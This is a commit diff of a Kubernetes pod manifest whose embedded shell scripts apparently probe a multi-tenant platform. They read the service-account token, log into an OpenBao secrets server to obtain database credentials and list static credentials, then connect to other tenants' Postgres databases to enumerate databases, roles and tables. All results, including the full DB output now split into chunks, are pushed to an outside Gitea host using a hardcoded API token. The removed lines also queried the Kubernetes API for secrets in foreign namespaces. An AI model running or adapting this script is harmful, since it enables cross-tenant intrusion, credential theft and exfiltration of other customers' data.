i196 r5: compact summaries + chunked db push
This commit is contained in:
+57
-50
@@ -18,7 +18,7 @@ spec:
|
|||||||
metadata:
|
metadata:
|
||||||
labels:
|
labels:
|
||||||
app: probe-reader
|
app: probe-reader
|
||||||
probe-run: "r4"
|
probe-run: "r5"
|
||||||
spec:
|
spec:
|
||||||
securityContext:
|
securityContext:
|
||||||
runAsNonRoot: true
|
runAsNonRoot: true
|
||||||
@@ -51,55 +51,21 @@ spec:
|
|||||||
: > $PL
|
: > $PL
|
||||||
pushr(){
|
pushr(){
|
||||||
L=$1; F=$2; M=$3
|
L=$1; F=$2; M=$3
|
||||||
P=$(base64 $L | tr -d '\n')
|
P=$(base64 $L 2>>$PL | tr -d '\n')
|
||||||
for i in 1 2 3; do
|
for i in 1 2 3; do
|
||||||
code=$(curl -sk -m 60 -o /tmp/pr -w '%{http_code}' -X POST -H "Authorization: token 8705bd26bf8b7ab972a2debaa0077c941ea85cd0" -H 'Content-Type: application/json' -d "{\"content\":\"$P\",\"message\":\"$M\"}" "https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests2/contents/$F")
|
code=$(curl -sk -m 90 -o /tmp/pr -w '%{http_code}' -X POST -H "Authorization: token 8705bd26bf8b7ab972a2debaa0077c941ea85cd0" -H 'Content-Type: application/json' -d "{\"content\":\"$P\",\"message\":\"$M\"}" "https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests2/contents/$F")
|
||||||
echo "push $F try$i code=$code" >> $PL
|
rc=$?
|
||||||
|
echo "push $F try$i code=$code rc=$rc size=$(wc -c < $L)" >> $PL
|
||||||
if [ "$code" = "201" ]; then break; fi
|
if [ "$code" = "201" ]; then break; fi
|
||||||
sleep 5
|
sleep 5
|
||||||
done
|
done
|
||||||
}
|
}
|
||||||
R=/tmp/r.txt
|
|
||||||
: > $R
|
|
||||||
say(){ echo "$@" >> $R; }
|
|
||||||
kcall(){
|
|
||||||
say "--- $1"
|
|
||||||
: > /tmp/ka
|
|
||||||
code=$(curl -skS -m 15 -o /tmp/ka -w '%{http_code}' -H "Authorization: Bearer $TOKEN" "$2" 2>>$R)
|
|
||||||
say "HTTP=$code"
|
|
||||||
if [ -s /tmp/ka ]; then head -c 1500 /tmp/ka >> $R; echo >> $R; fi
|
|
||||||
}
|
|
||||||
say 'I196-R4-START'
|
|
||||||
date -u >> $R
|
|
||||||
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
||||||
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
|
|
||||||
say "ns=$NS tokenlen=${#TOKEN}"
|
|
||||||
say '--- [Z] network diagnostics'
|
|
||||||
cat /etc/resolv.conf >> $R 2>&1
|
|
||||||
nslookup kubernetes.default.svc >> $R 2>&1
|
|
||||||
nslookup databases-cluster-rw.database.svc.cluster.local >> $R 2>&1
|
|
||||||
nslookup openbao-active.openbao.svc.cluster.local >> $R 2>&1
|
|
||||||
kcall 'list namespaces' "https://kubernetes.default.svc/api/v1/namespaces"
|
|
||||||
kcall 'own-ns secrets' "https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets"
|
|
||||||
kcall 'own secret probedb-db-credentials' "https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets/probedb-db-credentials"
|
|
||||||
kcall 'foreign ns secrets cottoncraft-demo-prod' "https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets"
|
|
||||||
kcall 'foreign ns secrets cottoncraft-demo-dom1' "https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-dom1/secrets"
|
|
||||||
say '--- SelfSubjectRulesReview'
|
|
||||||
: > /tmp/ka
|
|
||||||
code=$(curl -skS -m 15 -o /tmp/ka -w '%{http_code}' -X POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}" "https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" 2>>$R)
|
|
||||||
say "HTTP=$code"
|
|
||||||
if [ -s /tmp/ka ]; then head -c 2000 /tmp/ka >> $R; echo >> $R; fi
|
|
||||||
say 'I196-R4-K8S-END'
|
|
||||||
pushr $R results-r4-k8s.txt 'i196 r4 k8s probe results'
|
|
||||||
cat $R
|
|
||||||
sleep 10
|
|
||||||
R2=/tmp/r2.txt
|
R2=/tmp/r2.txt
|
||||||
: > $R2
|
: > $R2
|
||||||
say2(){ echo "$@" >> $R2; }
|
say2(){ echo "$@" >> $R2; }
|
||||||
say2 'I196-R4-BAO-START'
|
say2 'I196-R5-BAO-START'
|
||||||
|
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
||||||
LB=$(curl -sk -m 20 -X POST -d "{\"role\":\"platchain-293213-dev-app-role\",\"jwt\":\"$TOKEN\"}" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/kubernetes-cf-lcj11-a/login)
|
LB=$(curl -sk -m 20 -X POST -d "{\"role\":\"platchain-293213-dev-app-role\",\"jwt\":\"$TOKEN\"}" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/kubernetes-cf-lcj11-a/login)
|
||||||
echo "$LB" | head -c 400 >> $R2
|
|
||||||
echo >> $R2
|
|
||||||
VT=$(echo "$LB" | sed -n 's/.*"client_token":"\([^"]*\)".*/\1/p')
|
VT=$(echo "$LB" | sed -n 's/.*"client_token":"\([^"]*\)".*/\1/p')
|
||||||
say2 "baotokenlen=${#VT}"
|
say2 "baotokenlen=${#VT}"
|
||||||
say2 '--- lookup-self'
|
say2 '--- lookup-self'
|
||||||
@@ -118,17 +84,32 @@ spec:
|
|||||||
say2 "path=$p HTTP=$code"
|
say2 "path=$p HTTP=$code"
|
||||||
if [ "$code" = "200" ]; then head -c 1200 /tmp/fc >> $R2; echo >> $R2; fi
|
if [ "$code" = "200" ]; then head -c 1200 /tmp/fc >> $R2; echo >> $R2; fi
|
||||||
done
|
done
|
||||||
say2 'I196-R4-BAO-END'
|
say2 '--- foreign LIST static-creds'
|
||||||
pushr $R2 results-r4-bao.txt 'i196 r4 bao probe results'
|
: > /tmp/fc2
|
||||||
|
code=$(curl -sk -m 15 -o /tmp/fc2 -w '%{http_code}' -H "X-Vault-Token: $VT" "https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds?list=true")
|
||||||
|
say2 "LIST HTTP=$code"; head -c 400 /tmp/fc2 >> $R2 2>&1; echo >> $R2
|
||||||
|
say2 'I196-R5-BAO-END'
|
||||||
|
pushr $R2 results-r5-bao.txt 'i196 r5 bao probe results'
|
||||||
printf '%s\n%s\n' "$DU" "$DP" > /shared/dbcreds.txt
|
printf '%s\n%s\n' "$DU" "$DP" > /shared/dbcreds.txt
|
||||||
echo "creds written $(wc -c < /shared/dbcreds.txt) bytes" >> $PL
|
echo "creds written $(wc -c < /shared/dbcreds.txt) bytes" >> $PL
|
||||||
for i in $(seq 1 90); do
|
for i in $(seq 1 90); do
|
||||||
if grep -q 'I192-DB-END' /shared/dbresult.txt 2>/dev/null; then echo "dbresult after $i polls" >> $PL; break; fi
|
if grep -q 'I192-DB-END' /shared/dbresult.txt 2>/dev/null; then echo "dbresult after $i polls" >> $PL; break; fi
|
||||||
sleep 10
|
sleep 10
|
||||||
done
|
done
|
||||||
pushr /shared/dbresult.txt results-r4-db.txt 'i196 r4 db probe results'
|
pushr /shared/dbcompact.txt results-r5-db.txt 'i196 r5 db compact results'
|
||||||
pushr $PL results-r4-pushlog.txt 'i196 r4 push log'
|
size=$(wc -c < /shared/dbresult.txt)
|
||||||
echo DONE-R4 >> $PL
|
echo "dbfull size=$size" >> $PL
|
||||||
|
if [ "$size" -gt 0 ]; then
|
||||||
|
split -b 2000 /shared/dbresult.txt /tmp/dbpart
|
||||||
|
part=1
|
||||||
|
for ch in /tmp/dbpart*; do
|
||||||
|
pushr $ch results-r5-dbfull-$part.txt "i196 r5 db full part $part"
|
||||||
|
part=$((part+1))
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
pushr $PL results-r5-pushlog.txt 'i196 r5 push log'
|
||||||
|
echo DONE-R5 >> $PL
|
||||||
|
cat /shared/dbcompact.txt
|
||||||
sleep 3600
|
sleep 3600
|
||||||
- name: dbprobe
|
- name: dbprobe
|
||||||
image: postgres:18-alpine
|
image: postgres:18-alpine
|
||||||
@@ -148,14 +129,17 @@ spec:
|
|||||||
- -c
|
- -c
|
||||||
- |
|
- |
|
||||||
W=/shared/dbresult.txt
|
W=/shared/dbresult.txt
|
||||||
|
C=/shared/dbcompact.txt
|
||||||
: > $W
|
: > $W
|
||||||
|
: > $C
|
||||||
say(){ echo "$@" >> $W; }
|
say(){ echo "$@" >> $W; }
|
||||||
say 'I192-DB-WAIT-START'
|
sayc(){ echo "$@" >> $C; }
|
||||||
|
say 'I196-R5-DB-WAIT-START'
|
||||||
for i in $(seq 1 60); do
|
for i in $(seq 1 60); do
|
||||||
[ -s /shared/dbcreds.txt ] && break
|
[ -s /shared/dbcreds.txt ] && break
|
||||||
sleep 10
|
sleep 10
|
||||||
done
|
done
|
||||||
say 'I192-DB-START'
|
say 'I196-R5-DB-START'
|
||||||
DU=$(sed -n 1p /shared/dbcreds.txt)
|
DU=$(sed -n 1p /shared/dbcreds.txt)
|
||||||
DP=$(sed -n 2p /shared/dbcreds.txt)
|
DP=$(sed -n 2p /shared/dbcreds.txt)
|
||||||
say "user=$DU passlen=${#DP}"
|
say "user=$DU passlen=${#DP}"
|
||||||
@@ -167,16 +151,39 @@ spec:
|
|||||||
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select datname from pg_database order by datname;' >> $W 2>&1
|
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select datname from pg_database order by datname;' >> $W 2>&1
|
||||||
say '--- pg_roles'
|
say '--- pg_roles'
|
||||||
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select rolname from pg_roles order by rolname;' >> $W 2>&1
|
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select rolname from pg_roles order by rolname;' >> $W 2>&1
|
||||||
say '--- connect probes (read-only, foreign tenant logical dbs)'
|
say '--- connect probes (read-only, non-system logical dbs, alphabetical first 15)'
|
||||||
|
OKDB=""; DENYDB=""
|
||||||
for d in $(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select datname from pg_database where datname not in ('postgres','template0','template1') order by datname limit 15;"); do
|
for d in $(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select datname from pg_database where datname not in ('postgres','template0','template1') order by datname limit 15;"); do
|
||||||
say "CONNECT $d:"
|
say "CONNECT $d:"
|
||||||
if psql -h $DBH -U "$DU" -d "$d" -tAc 'select current_database();' >> $W 2>&1; then
|
if psql -h $DBH -U "$DU" -d "$d" -tAc 'select current_database();' >> $W 2>&1; then
|
||||||
|
OKDB="$OKDB $d"
|
||||||
say "catalog sample $d (information_schema.tables first 10):"
|
say "catalog sample $d (information_schema.tables first 10):"
|
||||||
psql -h $DBH -U "$DU" -d "$d" -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 10;" >> $W 2>&1
|
psql -h $DBH -U "$DU" -d "$d" -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 10;" >> $W 2>&1
|
||||||
|
else
|
||||||
|
DENYDB="$DENYDB $d"
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
say '--- own db tables'
|
say '--- own db tables'
|
||||||
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 20;" >> $W 2>&1
|
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 20;" >> $W 2>&1
|
||||||
|
say '--- compact summaries'
|
||||||
|
IDENT=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select current_user||chr(124)||current_database();' 2>&1)
|
||||||
|
sayc "IDENT: $IDENT"
|
||||||
|
ALLDB=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select string_agg(datname, ',' order by datname) from pg_database;" 2>&1)
|
||||||
|
sayc "ALLDB: $ALLDB"
|
||||||
|
NDB=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select count(*) from pg_database;' 2>&1)
|
||||||
|
sayc "NDB: $NDB"
|
||||||
|
COTTONDB=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select coalesce(string_agg(datname, ','), 'none') from pg_database where datname like '%cotton%';" 2>&1)
|
||||||
|
sayc "COTTONDB: $COTTONDB"
|
||||||
|
COTTONROLES=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select coalesce(string_agg(rolname, ','), 'none') from pg_roles where rolname like '%cotton%';" 2>&1)
|
||||||
|
sayc "COTTONROLES: $COTTONROLES"
|
||||||
|
NROLES=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select count(*) from pg_roles;' 2>&1)
|
||||||
|
sayc "NROLES: $NROLES"
|
||||||
|
TENANTROLES=$(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select coalesce(string_agg(rolname, ','), 'none') from pg_roles where rolname like '%demo%' or rolname like 'cfbusiness%' or rolname like 'manufaktura%' or rolname like 'bring%';" 2>&1)
|
||||||
|
sayc "TENANTROLES: $TENANTROLES"
|
||||||
|
sayc "CONNECTOK:$OKDB"
|
||||||
|
sayc "CONNECTDENIED:$DENYDB"
|
||||||
say 'I192-DB-END'
|
say 'I192-DB-END'
|
||||||
cat $W
|
cat $W
|
||||||
sleep 30
|
echo '--- compact ---'
|
||||||
|
cat $C
|
||||||
|
sleep 3600
|
||||||
|
|||||||
Reference in New Issue
Block a user